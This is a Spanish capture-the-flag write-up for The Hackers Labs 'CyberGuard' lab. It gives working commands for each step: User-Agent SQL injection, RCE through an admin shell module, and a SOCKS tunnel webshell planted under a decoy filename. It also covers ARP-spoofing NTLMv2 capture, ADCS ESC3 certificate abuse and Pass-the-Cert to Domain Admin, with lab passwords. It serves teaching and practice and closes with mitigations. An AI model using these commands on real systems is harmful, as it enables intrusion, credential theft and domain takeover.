‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/cyberguard.md

CyberGuard

sqliweb
// diploma · The Hackers Labs
Diploma The Hackers Labs — CyberGuard (cd4cwj)

CyberGuard

Máquina: The Hackers Labs — CyberGuard (laboratorio de 4 máquinas + firewall) Sistemas operativos objetivo: OPNsense (firewall) · Debian 12 (WebApp, Laravel 11) · Debian 12 (Internal) · Windows Server 2016 (Controlador de Dominio cyberguard.thl) Vector de entrada: SQL Injection ciega/basada-en-error en la cabecera HTTP User-Agent (endpoint /search) → robo del hash del administrador → login en el panel Open Admin → RCE como www-data Escalada de privilegios (cadena completa): www-data → ian (reutilización de contraseña del .env por SSH) → captura de NTLMv2 por MiTM con arpspoof → usuario de dominio victor.garcia → RDP al DC → contraseña de francisca.gonzalez incrustada en un .exe → ADCS ESC3 (Enrollment Agent → certificado en nombre de Administrador) → Pass-the-Cert por Schannel/LDAPS → Domain Admin Herramientas principales: VBoxManage · nmap/barrido bash · curl · sqlmap (o inyección manual extractvalue) · john/hashcat · sshpass · Neo-reGeorg (túnel SOCKS por HTTP) · proxychains4 · netexec (nxc) · impacket · bloodhound-python · arpspoof + tcpdump + tshark · xfreerdp (+ Xvfb/xdotool) · certipy-ad — detalle de cada una, con qué hace y qué opciones se usan, en la sección Herramientas necesarias más abajo


Resumen de flags

Flag Valor Dónde
Usuario (user.txt) ████████████ /home/ian/user.txt (WebApp)
Root (root.txt) ████████████ C:\Users\Administrador\Documents\root.txt (DC)

Nota sobre las IPs: el laboratorio usa una red interna de VirtualBox (intnet, 10.20.30.0/24) detrás del firewall OPNsense. Tu Kali llega solo a la “cara externa” del firewall por la red host-only vboxnet1 (10.0.2.0/24), donde la web publicada es cyberguard.thl → 10.0.2.10. Las IPs internas (10.20.30.3 DC, 10.20.30.11 WebApp, 10.20.30.15 Internal) las descubrimos desde dentro; si repites, confírmalas tú mismo — VirtualBox/DHCP pueden reasignar.


Glosario rápido (consulta mientras lees)

Término Qué significa
DMZ Zona desmilitarizada: segmento de red donde se colocan los servicios expuestos (aquí la WebApp), aislado del resto por el firewall
SQLi (SQL injection) Inyectar SQL propio a través de una entrada que la app no valida, para leer/modificar la base de datos. Aquí la entrada vulnerable es la cabecera User-Agent, no un campo del formulario
Error-based SQLi Variante de SQLi en la que se provoca un error de la base de datos cuyo mensaje contiene el dato que queremos leer. Aquí se usa extractvalue() de MariaDB, que devuelve el dato dentro de un mensaje “XPATH syntax error: ~<dato>”
Ignition / APP_DEBUG=true Laravel, en modo debug, muestra páginas de error detalladas (stack traces) que filtran consultas SQL, rutas y a veces secretos. Un fallo de configuración grave en producción
RCE (Remote Code Execution) Ejecución de comandos del sistema operativo de forma remota — el “premio gordo”
.env Archivo de configuración de Laravel con credenciales de base de datos, claves de la app (APP_KEY), etc. Si se puede leer, suele dar el siguiente salto
Pivote / pivoting Usar una máquina ya comprometida como “trampolín” para alcanzar otras redes/hosts que desde tu Kali no ves directamente
Túnel SOCKS Un proxy que reenvía conexiones TCP arbitrarias a través de otra máquina. Neo-reGeorg lo monta sobre HTTP (usando solo el puerto 80 de la web, lo único que atravesamos)
MiTM (Man-in-the-Middle) Colocarse “en medio” de dos máquinas para ver/alterar su tráfico. Aquí con ARP spoofing
ARP spoofing Engañar a dos hosts de la misma red local enviándoles respuestas ARP falsas (“la IP X está en MI dirección MAC”), de modo que su tráfico pase por nosotros
NTLMv2 Protocolo de autenticación de Windows (reto-respuesta). Si capturas el intercambio, obtienes un hash NetNTLMv2 que se puede intentar crackear offline para recuperar la contraseña
Kerberoasting / AS-REP roasting Técnicas para pedir material criptográfico de cuentas de dominio y crackearlo offline. Aquí no aplicaron (lo comprobamos), pero conviene conocerlas
BloodHound Herramienta que mapea relaciones y permisos (ACLs) de un dominio AD en un grafo, para encontrar caminos de escalada
ADCS (Active Directory Certificate Services) La PKI (infraestructura de clave pública) de Windows. Emite certificados según plantillas. Mal configuradas, permiten escalar a Domain Admin (familias ESC1..ESC16)
Enrollment Agent (agente de inscripción) Un certificado especial (EKU Certificate Request Agent) que permite solicitar certificados EN NOMBRE DE otros usuarios
ESC3 Fallo de ADCS: existe una plantilla que da un cert de Enrollment Agent y otra plantilla de autenticación que acepta la firma de ese agente. Encadenándolas puedes pedir un certificado como Administrador
PKINIT Autenticación Kerberos usando un certificado en lugar de contraseña. Si el KDC no la soporta (nuestro caso), se usa la alternativa Schannel/LDAPS
Pass-the-Cert (Schannel) Autenticarte a LDAPS con un certificado de cliente. Si el cert es de un Domain Admin, puedes hacer cambios en el dominio (p. ej. añadir un usuario a “Domain Admins”)
sudoers / NOPASSWD /etc/sudoers define qué puede ejecutar cada usuario como root. NOPASSWD = sin pedir contraseña
GTFOBins Catálogo (gtfobins.github.io) de binarios que, con sudo/SUID, se pueden abusar para escalar. Aquí tcpdump parecía vulnerable pero estaba mitigado con AppArmor (lo documentamos)
AppArmor Sistema de control de acceso obligatorio de Linux que restringe qué puede hacer un binario, aunque corra como root. Aquí bloquea el truco de privesc de tcpdump

Herramientas necesarias

Todo viene en Kali; solo hay que verificar/instalar algún extra. Qué es cada una:

# Extras que quizá haya que instalar/clonar:
sudo apt-get install -y xdotool xvfb           # teclado virtual + display sin pantalla, para RDP headless
pipx install certipy-ad                        # (o apt install certipy-ad) — ataque a ADCS
git clone https://github.com/L-codes/Neo-reGeorg  # túnel SOCKS sobre HTTP
Herramienta Para qué sirve aquí
VBoxManage CLI de VirtualBox: importar los .ova, arrancar/apagar las VMs, ver su config de red
nmap / barrido con bash /dev/tcp Escaneo de puertos. Dentro del entorno usamos barridos con bash porque las máquinas internas no tienen nmap
curl Cliente HTTP de línea de comandos: hablar con la web, mandar cabeceras (-A para el User-Agent), cookies, POSTs
sqlmap Automatiza la detección y explotación de SQLi. Se puede sustituir por inyección manual (lo mostramos)
john / hashcat Crackeo de hashes offline. john en CPU (aquí sin GPU/OpenCL); hashcat si tienes GPU
sshpass Pasar una contraseña SSH de forma no interactiva (solo laboratorio)
Neo-reGeorg (neoreg.py) Sube un tunnel.php a la web comprometida y monta un proxy SOCKS a través del puerto 80 — así llegas a la red interna sin necesitar egress
proxychains4 “Envuelve” cualquier herramienta para que su tráfico salga por el SOCKS anterior
netexec (nxc) Navaja suiza de AD/SMB: valida credenciales, lista shares, usuarios, política de contraseñas, etc.
impacket-* Colección de scripts Python de protocolos Windows (GetUserSPNs, GetNPUsers, secretsdump…)
bloodhound-python Recolecta datos del dominio (usuarios, grupos, ACLs) para analizar caminos de escalada
arpspoof (paquete dsniff) Realiza el ARP spoofing para el MiTM
tcpdump Captura tráfico de red a un .pcap
tshark Versión CLI de Wireshark: extrae campos concretos del .pcap (aquí, los del NTLMv2)
xfreerdp (FreeRDP) Cliente RDP para conectarnos gráficamente al DC como victor.garcia
Xvfb + xdotool X virtual framebuffer (pantalla sin monitor) y automatización de teclado/ratón — para manejar el RDP en un servidor sin escritorio
certipy-ad Herramienta de referencia para atacar ADCS (enumerar plantillas vulnerables, ESC1-ESC16, pedir certificados, autenticar)
strings / objdump Analizar el binario NetStatus.exe para sacarle la contraseña incrustada

Fase 0 — Montar el laboratorio (las 4 máquinas)

CyberGuard son 4 archivos .ova (uno por máquina). Un .ova es un paquete que contiene la definición de una VM más su disco. Se importan a VirtualBox una sola vez; después se arrancan/apagan.

cd "~/labs/CyberGuard/"
ls -la *.ova
#  TheHackersLabs 1  - Cyberguard.ova   (Windows DC, ~5 GB)
#  The Hackers Labs 2 - Cyberguard.ova   (WebApp Debian)
#  The Hackers Labs 3 - Cyberguard.ova   (Internal Debian)
#  TheHackersLabs 4 - Cyberguard.ova     (grande)

# Importar cada OVA (solo la primera vez). Si ya aparecen en 'VBoxManage list vms', sáltate esto.
for o in *.ova; do VBoxManage import "$o"; done

Tras importar, las VMs quedan registradas con estos nombres (compruébalo con VBoxManage list vms):

"CyberGuard-1-OPNsense"   -> firewall (2048 MB)
"CyberGuard-2-WebApp"     -> web Laravel, Debian 12 (1024 MB)
"CyberGuard-3-Internal"   -> Debian 12 interno (512 MB)
"CyberGuard-4-DC"         -> Windows Server 2016, dominio cyberguard.thl (4096 MB)

Cómo está cableada la red (esto es la clave para entender por qué hay que pivotar):

   Tu Kali (10.0.2.1)                                     RED INTERNA "intnet" (10.20.30.0/24)
        │  red host-only vboxnet1 (10.0.2.0/24)                 ┌───────────────────────────────┐
        │                                                       │  WebApp     10.20.30.11 (DMZ)  │
        ▼                                                       │  Internal   10.20.30.15        │
  ┌───────────────┐   WAN=vboxnet1 (10.0.2.10)   LAN=intnet     │  DC         10.20.30.3         │
  │   OPNsense     │─────────────────────────────(10.20.30.1)───┤                               │
  │  (firewall)    │   NAT/port-forward 80 → WebApp:80          └───────────────────────────────┘
  └───────────────┘

Arrancar las 4 (headless = sin ventana). Enciende primero el firewall, luego el resto:

for vm in CyberGuard-1-OPNsense CyberGuard-2-WebApp CyberGuard-3-Internal CyberGuard-4-DC; do
  VBoxManage startvm "$vm" --type headless
done
VBoxManage list runningvms          # deben aparecer las 4

En tu Kali, mapea el nombre del sitio (así lo espera la app en la cabecera Host):

grep -q cyberguard.thl /etc/hosts || echo "10.0.2.10 cyberguard.thl" | sudo tee -a /etc/hosts

Comprueba conectividad (el ICMP lo bloquea el firewall, es normal; lo que importa es el 80):

curl -s -o /dev/null -w "HTTP %{http_code}\n" http://cyberguard.thl/         # 403 (raíz protegida)
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://cyberguard.thl/admin     # 200/302 (panel)

Fase 1 — Reconocimiento de la web

La aplicación es Laravel 11 con el panel de administración Open Admin. La raíz (/) devuelve 403, pero hay dos rutas interesantes:

¿Por qué el User-Agent? Porque la app mantiene una lista negra de user-agents y, en cada petición a /search, ejecuta internamente una consulta como esta (la vimos gracias al modo debug de Laravel, ver abajo):

SELECT * FROM blacklist_user_agents WHERE '<User-Agent>' LIKE CONCAT('%', user_agent, '%')

El valor del User-Agent se mete entre comillas simples sin sanear → inyectable.


Fase 2 — SQL Injection en el User-Agent y robo del hash

Paso 1 — Confirmar la inyección. Mandamos un User-Agent con una comilla simple y observamos si “rompe” la consulta. Con curl, la opción -A fija el User-Agent:

# Petición normal (referencia):
curl -s -A "Mozilla/5.0" "http://cyberguard.thl/search?query=x" -o /dev/null -w "%{http_code}\n"

# Con una comilla simple al final del User-Agent:
curl -s -A "Mozilla/5.0'" "http://cyberguard.thl/search?query=x" | head

Con la comilla, el servidor devuelve un HTTP 500 con una página gigante de error de Laravel (Ignition). Eso confirma dos cosas: (1) es inyectable, y (2) APP_DEBUG=true — el modo depuración está activo y nos va a regalar el texto de los errores SQL. La página muestra literalmente:

SQLSTATE[42000]: Syntax error ... near '')' ...
SELECT * FROM blacklist_user_agents WHERE '$userAgent' LIKE CONCAT('%', user_agent, '%')

y que el motor es MariaDB.

Paso 2 — Extraer datos con inyección basada en error (extractvalue). Como Laravel nos enseña el mensaje de error, usamos extractvalue() de MariaDB: es una función que, si le pasas un XPath inválido, lanza un error XPATH syntax error: '<texto>' que incluye nuestro texto. Metemos una subconsulta como “texto” y su resultado sale en el error.

Función auxiliar en bash (rompemos la comilla, inyectamos, y comentamos el resto con -- -):

leak() {   # $1 = subconsulta SQL
  local ua="x' AND extractvalue(1,concat(0x7e,($1)))-- -"
  curl -s -A "$ua" "http://cyberguard.thl/search?query=x" \
    | grep -oiE 'XPATH syntax error: [^"<\\]{0,90}' | head -1
}

leak 'SELECT @@version'                                   # 10.11.6-MariaDB
leak 'SELECT current_user()'                              # usuario de la BD
leak 'SELECT table_name FROM information_schema.tables
        WHERE table_schema=database() LIMIT 1'            # tablas (iterar con LIMIT)

0x7e es el byte ~, solo un separador para reconocer nuestro dato en el mensaje. extractvalue corta a 32 caracteres, así que para datos largos hay que trocearlos con substring(...,1,32), substring(...,33,32), etc.

En la tabla admin_users está el administrador con su contraseña hasheada con bcrypt:

usuario: admin
hash:    $2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK

Atajo con sqlmap (hace lo mismo automáticamente): guarda una petición a /search en un archivo req.txt marcando el User-Agent con un asterisco * y lanza:

sqlmap -r req.txt --batch --dump -T admin_users -D cyberguard --level 5 --risk 3

Paso 3 — Crackear el bcrypt. bcrypt es lento a propósito (coste 12), pero si la contraseña es débil cae con rockyou. Con John:

echo '$2y$12$fN2GC9IgrwHneBpWIY8WwevYshq/qkEhoE6XhU7ClZInAhbW2YltK' > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=bcrypt hash.txt          # admin : killer

Credencial obtenida: admin : killer.


Fase 3 — Login en Open Admin y RCE como www-data

El panel Open Admin trae un módulo “Shell” en /admin/shell que ejecuta comandos del sistema — es RCE directo una vez dentro.

Login por línea de comandos (Laravel usa un token CSRF _token en el formulario y cookies de sesión):

J=jar.txt; UA="Mozilla/5.0 (X11; Linux x86_64) CG"
# 1) GET del login para sacar el _token y las cookies iniciales
TOK=$(curl -s -c $J -A "$UA" http://cyberguard.thl/admin/auth/login \
      | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed -E 's/.*value="([^"]+)".*/\1/')
# 2) POST de login con admin:killer
curl -s -b $J -c $J -A "$UA" -o /dev/null -w "login -> %{http_code}\n" \
  -d "_token=$TOK" --data-urlencode "username=admin" --data-urlencode "password=killer" \
  http://cyberguard.thl/admin/auth/login          # 302 -> /admin = OK
# 3) GET de /admin/shell para un _token fresco del ejecutor
STOK=$(curl -s -b $J -c $J -A "$UA" http://cyberguard.thl/admin/shell \
      | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed -E 's/.*value="([^"]+)".*/\1/')

Ahora un ayudante para ejecutar comandos (POST a /admin/shell/execute, la salida viene dentro de un <pre>):

run(){ curl -s -b $J -c $J -A "$UA" -d "_token=$STOK" --data-urlencode "command=$1" \
       http://cyberguard.thl/admin/shell/execute \
       | sed -n 's/.*<pre[^>]*>\(.*\)<\/pre>.*/\1/p'; }

run 'id; hostname; ip -brief addr'
# uid=33(www-data) ...   TheHackersLabs-2-Cyberguard   enp0s3 10.20.30.11/24

Ojo con la sesión: la sesión del panel dura 2 h. Si run deja de devolver salida (te redirige al login), repite el bloque de login para renovar STOK/cookies.

Tenemos RCE como www-data en la WebApp (10.20.30.11).


Fase 4 — Del .env a ian (SSH) y flag de usuario

Paso 1 — Leer el .env de Laravel (siempre el primer sitio a mirar):

run 'cat /var/www/cyberguard/.env'

Lo interesante:

APP_KEY=base64:s2Xw6J78nmLrfCGF9S+8hBK7LNOMnaqPm908WE6UrEo=
DB_USERNAME=ian
DB_PASSWORD='ZqBHR4MZ<f*+bv(J'

Paso 2 — Reutilización de contraseña. Patrón clásico: la contraseña de la base de datos suele ser también la del usuario del sistema. Hay un usuario ian (ls -la /home → /home/ian, sin permiso de lectura para www-data). El SSH interno (puerto 22) no está reenviado a tu Kali, así que saltamos desde dentro: www-data hace SSH a [email protected].

Como el ejecutor web manda un comando de una sola línea y ssh normalmente pide la contraseña por terminal, usamos el truco SSH_ASKPASS de OpenSSH (le decimos que saque la contraseña de un script en vez de la terminal):

# Contraseña en base64 para no pelearnos con las comillas/caracteres raros:
PB=$(printf '%s' 'ZqBHR4MZ<f*+bv(J' | base64)   # WnFCSFI0TVo8ZiorYnYoSg==

run 'P=$(echo '"$PB"' | base64 -d);
     printf "#!/bin/sh\necho \"%s\"\n" "$P" > /tmp/.a; chmod +x /tmp/.a;
     SSH_ASKPASS=/tmp/.a SSH_ASKPASS_REQUIRE=force setsid -w \
       ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password \
           -o PubkeyAuthentication=no [email protected] \
       "id; hostname; cat ~/user.txt"; rm -f /tmp/.a'

Salida:

uid=1000(ian) gid=1000(ian) grupos=1000(ian),33(www-data),100(users),1001(networking)
TheHackersLabs-2-Cyberguard
████████████        <-- FLAG DE USUARIO

A partir de aquí conviene envolver “ejecutar como ian” en un ayudante (el mismo bloque de arriba cambiando el comando final). En el writeup lo llamamos run_ian '...'.

FLAG USER: ████████████


Fase 5 — Enumerar la escalada local (y un callejón sin salida honesto)

ian está en un grupo interesante (networking) y tiene permisos sudo:

run_ian 'sudo -n -l'
# (ALL) NOPASSWD: /usr/bin/tcpdump, /usr/sbin/arpspoof

Callejón sin salida (documentado a propósito): tcpdump con la opción -z ejecuta un script tras rotar el .pcap — es un privesc conocido de GTFOBins para pasar a root. Lo intentamos:

# NO FUNCIONA aquí:
run_ian 'echo "id>/tmp/p" > /tmp/pwn.sh; chmod +x /tmp/pwn.sh;
         sudo -n tcpdump -i lo -w /tmp/x -G1 -W1 -z /tmp/pwn.sh -Z root'
run_ian 'cat /proc/sys/module/apparmor/parameters/enabled; ls /etc/apparmor.d/ | grep tcpdump'
# enabled=Y   usr.bin.tcpdump

El script nunca se ejecuta: hay un perfil de AppArmor (usr.bin.tcpdump) que impide a tcpdump lanzar procesos hijo, aunque corra como root. Es decir, el privesc local por tcpdump está mitigado a propósito. La pista real de sudo -l no es privesc local: es que ian puede hacer arpspoof + tcpdump → están pensados para un MiTM (Fase 8). Guárdalo.

Otro dato clave que sí sirve: cat /proc/sys/net/ipv4/ip_forward → 1. El reenvío de paquetes IP está activado, así que un MiTM desde esta máquina retransmite las conexiones y podremos capturar el intercambio NTLMv2 completo.


Fase 6 — Pivote de red: túnel SOCKS por HTTP (Neo-reGeorg)

Necesitamos alcanzar la red interna (10.20.30.0/24) con herramientas de Kali (nxc, certipy, xfreerdp…). Problema: el firewall bloquea toda salida de las máquinas internas hacia tu Kali (lo comprobamos intentando conexiones de vuelta a varios puertos: todas rechazadas), así que un shell/túnel inverso no funciona. Lo único que atravesamos es el puerto 80 entrante.

Solución: Neo-reGeorg, un túnel SOCKS que viaja dentro de peticiones HTTP al tunnel.php que subimos a la web (www-data puede escribir en el docroot).

# 1) Generar los ficheros de túnel con una clave:
git clone https://github.com/L-codes/Neo-reGeorg 2>/dev/null
python3 Neo-reGeorg/neoreg.py generate -k cg5878e4        # crea neoreg_servers/tunnel.php

# 2) Subir el tunnel.php al docroot con un nombre discreto (vía RCE):
B64=$(base64 -w0 Neo-reGeorg/neoreg_servers/tunnel.php)
run "echo $B64 | base64 -d > /var/www/cyberguard/public/media-sync.php"

# 3) Verificar desde Kali:
curl -s -o /dev/null -w "%{http_code}\n" http://cyberguard.thl/media-sync.php   # 200

# 4) Arrancar el cliente: abre un SOCKS5 local en 127.0.0.1:1080
python3 -u Neo-reGeorg/neoreg.py -k cg5878e4 -u http://cyberguard.thl/media-sync.php -p 1080 &

Configuración de proxychains (guárdala como pc.conf). tcp_read_time_out alto porque el túnel HTTP es lento:

strict_chain
proxy_dns
tcp_read_time_out 90000
tcp_connect_time_out 30000
[ProxyList]
socks5 127.0.0.1 1080

A partir de ahora, cualquier herramienta que quiera entrar a la red interna se lanza con proxychains4 -f pc.conf <herramienta>.


Fase 7 — Descubrir la red interna (DC + Internal)

Con las 4 VMs encendidas, barremos el /24 interno. Como las máquinas internas no tienen nmap, se hace con bash desde la WebApp; y desde Kali confirmamos servicios por el túnel.

# Descubrir hosts vivos (desde ian, poblando la tabla ARP):
run_ian 'for ip in $(seq 1 254); do ping -c1 -W1 10.20.30.$ip >/dev/null 2>&1 & done; wait;
         ip neigh | grep -iE "REACHABLE|STALE"'
# 10.20.30.1 (gateway/OPNsense) · 10.20.30.3 · 10.20.30.15

# Escaneo de puertos de los dos nuevos:
run_ian 'for H in 10.20.30.3 10.20.30.15; do echo "== $H ==";
         for p in 22 88 135 139 389 445 3389 5985; do
           timeout 1 bash -c "echo >/dev/tcp/$H/$p" 2>/dev/null && echo "  $p"; done; done'

Resultado:

Enumeramos el DC por el túnel con netexec (nxc):

proxychains4 -f pc.conf nxc smb 10.20.30.3
# WIN-VRU3GG3DPLJ  Windows Server 2016  domain:cyberguard.thl  (signing:True, SMBv1:True, Null Auth:True)

Dominio: cyberguard.thl, DC: WIN-VRU3GG3DPLJ. La sesión nula está permitida pero no lista shares/usuarios → necesitamos credenciales de dominio.


Fase 8 — MiTM con arpspoof + tcpdump → NTLMv2 de victor.garcia

La máquina Internal (.15) se autentica periódicamente contra el share \\10.20.30.3\reports del DC (lo hace un binario, ver Fase 9). Ese tráfico va directo .15 → .3 y en una red conmutada no lo vemos sin ponernos en medio. Aquí entran el arpspoof y tcpdump que ian puede usar con sudo.

# Envenenar ARP en ambos sentidos entre el DC y la Internal (y el gateway), y capturar SMB:
run_ian 'setsid timeout 150 sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.15 </dev/null >/dev/null 2>&1 &
         setsid timeout 150 sudo -n arpspoof -i enp0s3 -r -t 10.20.30.3 10.20.30.1  </dev/null >/dev/null 2>&1 &
         setsid timeout 150 sudo -n tcpdump -i enp0s3 -s0 -U -w /tmp/mitm.pcap \
                port 445 or port 139 </dev/null >/dev/null 2>&1 &'

Esperamos a que caiga una autenticación (~30-45 s) y traemos el .pcap a Kali (por ejemplo, en base64 vía el mismo canal). Extraemos el NTLMv2 con tshark:

# Reto del servidor (mensaje CHALLENGE):
CHAL=$(tshark -r mitm.pcap -Y 'ntlmssp.messagetype==2' -T fields -e ntlmssp.ntlmserverchallenge | head -1)
# Respuesta (mensaje AUTH): usuario, dominio, y la NT response:
tshark -r mitm.pcap -Y 'ntlmssp.messagetype==3' -T fields \
       -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.ntresponse | head -1
# -> victor.garcia  CYBERGUARD.THL  eb5a52d3...(NT response)

Montamos el hash en formato NetNTLMv2 (hashcat -m 5600). La NT response = NTProofStr (primeros 16 bytes) + blob (el resto):

usuario::DOMINIO:reto:NTProofStr:blob
victor.garcia::CYBERGUARD.THL:3672d03602c2b559:████████████:0101000000000000c72a...

Y lo crackeamos (aquí sin GPU → John en CPU):

john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt victor_ntlmv2.txt
john --show --format=netntlmv2 victor_ntlmv2.txt      # victor.garcia : pacheco

Credencial de dominio obtenida: CYBERGUARD.THL\victor.garcia : pacheco.

Validamos y enumeramos:

proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco               # [+] válido
proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco --shares      # reports (READ,WRITE)

Fase 9 — Enumerar el dominio y sacar a francisca.gonzalez

BloodHound para ver caminos de escalada:

proxychains4 -f pc.conf bloodhound-python -u victor.garcia -p pacheco -d cyberguard.thl \
             -ns 10.20.30.3 --dns-tcp -c DCOnly

Datos clave:

proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco --pass-pol
# Account Lockout Threshold: None

RDP al DC como victor (en un servidor sin pantalla usamos Xvfb + xdotool):

Xvfb :99 -screen 0 1280x800x24 &
export DISPLAY=:99
xset r off        # desactivar auto-repetición de teclas (evita caracteres duplicados en RDP)
proxychains4 -f pc.conf xfreerdp3 /v:10.20.30.3 /u:victor.garcia /d:cyberguard.thl \
             /p:pacheco /cert:ignore /size:1280x800 +clipboard &
# (para ver la pantalla): import -window root shot.png
# (para escribir): abrir 'powershell' (Win+R) y pegar comandos; la salida se exfiltra
#   escribiéndola al share \\10.20.30.3\reports\out.txt y leyéndolo desde Kali con smbclient.

Notas prácticas del RDP headless (nos costaron tiempo, para que a ti no): el CredSSP intenta Kerberos y falla por DNS (Cannot find KDC) pero cae a NTLM y entra igual; el teclado de xdotool pierde/duplica caracteres, así que es más fiable pegar desde el portapapeles y usar el ratón para los botones; en Windows Server 2016 la consola pega con clic derecho, no con Ctrl+V; y el drive redirigido \\tsclient no funcionó, por eso exfiltramos por el share reports (donde victor tiene escritura).

Enumerando el DC como victor aparecen carpetas no estándar en C:\: Shares, StorageReports y C:\tools\NetStatus.exe (un ejecutable propio). Lo copiamos al share reports, lo bajamos y lo analizamos:

strings -n 5 NetStatus.exe | grep -iE 'francisca|\.dll|CYBERGUARD|reports'
# \\10.20.30.3\reports
# CYBERGUARD.THL
# francisca.gonzalez
# latina1                <-- CONTRASEÑA incrustada
# WNetAddConnection2W     (API de "net use" con credenciales)

NetStatus.exe monta el share reports con WNetAddConnection2W usando CYBERGUARD.THL\francisca.gonzalez y la contraseña latina1 incrustada en el binario. Validamos:

proxychains4 -f pc.conf nxc smb 10.20.30.3 -u francisca.gonzalez -p latina1      # [+] válido

Credencial obtenida: CYBERGUARD.THL\francisca.gonzalez : latina1.


Fase 10 — ADCS ESC3: certificado en nombre de Administrador

Enumeramos la PKI del dominio con certipy:

proxychains4 -f pc.conf certipy-ad find -u [email protected] -p latina1 \
             -dc-ip 10.20.30.3 -ns 10.20.30.3 -dns-tcp -stdout

Encontramos:

Eso es ESC3 de manual: francisca pide el cert de agente con UserCA y, con él, pide un cert en nombre de Administrador con UserCAn.

Truco imprescindible por el túnel: el RPC de inscripción hace muchos viajes de ida y vuelta y por el túnel HTTP es lento → hay que subir el timeout con -timeout 120, si no, certipy aborta con “NETBIOS connection timed out”.

# Paso 1 — cert de Enrollment Agent (plantilla UserCA):
proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \
   -target-ip 10.20.30.3 -dc-ip 10.20.30.3 -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' \
   -template UserCA -timeout 120 -out fran_ea            # -> fran_ea.pfx

# Paso 2 — cert EN NOMBRE DE Administrador (plantilla UserCAn, firmado con el agente):
proxychains4 -f pc.conf certipy-ad req -u [email protected] -p latina1 \
   -target-ip 10.20.30.3 -dc-ip 10.20.30.3 -ca 'cyberguard-WIN-VRU3GG3DPLJ-CA' \
   -template UserCAn -pfx fran_ea.pfx -on-behalf-of 'CYBERGUARD\Administrador' \
   -timeout 120 -out administrador                       # -> administrador.pfx

Tenemos un certificado válido como [email protected].


Fase 11 — Pass-the-Cert (Schannel) → Domain Admin → flag root

Lo normal sería autenticarse con el cert por PKINIT (Kerberos con certificado) para sacar el hash NT de Administrador. Aquí el KDC no soporta PKINIT:

proxychains4 -f pc.conf certipy-ad auth -pfx administrador.pfx -dc-ip 10.20.30.3 -timeout 120
# [-] KDC_ERR_PADATA_TYPE_NOSUPP  (el KDC no soporta autenticación por certificado)

Plan B: usar el certificado por Schannel contra LDAPS (Pass-the-Cert). certipy abre un shell LDAP autenticado como Administrador; desde ahí añadimos a victor.garcia a “Domain Admins” (en este DC en español, el grupo se llama “Admins. del dominio”):

printf 'add_user_to_group victor.garcia "Admins. del dominio"\nexit\n' | \
  proxychains4 -f pc.conf certipy-ad auth -pfx administrador.pfx -dc-ip 10.20.30.3 \
               -ldap-shell -timeout 120
# [*] Authenticated to '10.20.30.3' as: 'u:CYBERGUARD\Administrador'
# Adding user: victor.garcia to group Admins. del dominio result: OK

Ahora victor.garcia es Domain Admin. Una nueva autenticación suya ya trae ese privilegio, así que leemos el root.txt por SMB (share administrativo C$):

proxychains4 -f pc.conf nxc smb 10.20.30.3 -u victor.garcia -p pacheco        # (Pwn3d! / acceso admin)
# El flag no está en el Escritorio, sino en Documentos:
proxychains4 -f pc.conf smbclient '//10.20.30.3/C$' -U 'cyberguard.thl/victor.garcia%pacheco' \
   -c 'get Users\Administrador\Documents\root.txt root_flag.txt'
cat root_flag.txt        # ████████████

FLAG ROOT: ████████████


Diagrama-resumen de la cadena de ataque

 [Kali] --HTTP:80--> cyberguard.thl (10.0.2.10)  ─┐  (OPNsense NAT)
                                                   │
   (1) SQLi en User-Agent  /search  (error-based, extractvalue, MariaDB)
        └─> hash bcrypt de 'admin' ── john/rockyou ──> admin:killer
   (2) Login Open Admin  ->  /admin/shell/execute   =>  RCE  www-data  @ WebApp(10.20.30.11)
   (3) .env  ->  ian:'ZqBHR4MZ<f*+bv(J'  ── ssh [email protected] ──> ian   [FLAG USER]
        (tcpdump -z bloqueado por AppArmor; pero sudo arpspoof/tcpdump + ip_forward=1)
   (4) Neo-reGeorg (tunnel.php)  =>  SOCKS 127.0.0.1:1080  (egress bloqueado, todo por HTTP)
        │
        ├── descubrir:  DC=10.20.30.3 (cyberguard.thl)   Internal=10.20.30.15
        │
   (5) arpspoof(.15<->.3) + tcpdump  =>  NTLMv2 de victor.garcia
        └─ tshark -> hashcat 5600 -> john/rockyou ──> victor.garcia:pacheco
   (6) victor ∈ Remote Desktop Users  ->  RDP al DC (xfreerdp/Xvfb)
        └─ C:\tools\NetStatus.exe (strings) ──> francisca.gonzalez:latina1
   (7) ADCS ESC3 (certipy, -timeout 120):
        UserCA (Enrollment Agent) ──firma──> UserCAn on-behalf-of Administrador ──> administrador.pfx
   (8) PKINIT NO soportado -> Pass-the-Cert (Schannel/LDAPS)
        └─ add victor.garcia -> "Admins. del dominio"  =>  Domain Admin
   (9) smbclient //DC/C$  ->  C:\Users\Administrador\Documents\root.txt   [FLAG ROOT]

Causas raíz y mitigación

# Fallo Causa raíz Mitigación
1 SQLi en User-Agent Cabecera concatenada en SQL sin parametrizar Consultas preparadas / prepared statements; validar y no confiar en cabeceras
2 Fuga de errores SQL APP_DEBUG=true en un entorno accesible APP_DEBUG=false en producción; ocultar stack traces
3 Contraseña de admin débil killer está en rockyou Contraseñas fuertes; bloqueo/tiempo tras intentos fallidos
4 Módulo “Shell” en el panel RCE por diseño accesible tras login Quitar módulos peligrosos; segmentar; WAF
5 Reutilización de contraseña .env→ian Misma clave para BD y usuario del SO Credenciales distintas por servicio; secretos gestionados
6 sudo a arpspoof/tcpdump Permisos de red excesivos a un usuario Principio de mínimo privilegio; evitar NOPASSWD a binarios abusables
7 Credencial en texto claro dentro de un .exe NetStatus.exe incrusta francisca:latina1 Nunca hardcodear credenciales; usar gMSA/cuentas gestionadas o Credential Manager
